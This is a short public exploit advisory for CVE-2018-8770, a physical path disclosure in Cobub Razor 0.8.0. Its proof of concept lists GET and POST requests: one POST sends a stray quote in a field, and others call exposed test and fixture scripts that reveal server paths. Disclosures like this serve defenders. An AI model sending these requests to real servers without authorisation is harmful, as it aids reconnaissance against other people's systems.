Cobub Razor 0.8.0 - Physical Path Leakage

# Exploit Title:  Cobub Razor 0.8.0 Physical path Leakage Vulnerability
# Date: 2018-04-19
# Exploit Author: Kyhvedn
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8770

#PoC:

URL: http://localhost/export.php
HTTP Method: GET
URL: http://localhost/index.php?/manage/channel/addchannel
HTTP Method: POST
Data: channel_name=test"&platform=1

HTTP Method: GET
http://localhost/tests/generate.php
http://localhost/tests/controllers/getConfigTest.php
http://localhost/tests/controllers/getUpdateTest.php
http://localhost/tests/controllers/postclientdataTest.php
http://localhost/tests/controllers/posterrorTest.php
http://localhost/tests/controllers/posteventTest.php
http://localhost/tests/controllers/posttagTest.php
http://localhost/tests/controllers/postusinglogTest.php
http://localhost/tests/fixtures/Controller_fixt.php
http://localhost/tests/fixtures/Controller_fixt2.php
http://localhost/tests/fixtures/view_fixt2.php
http://localhost/tests/libs/ipTest.php
http://localhost/tests/models/commonDbfix.php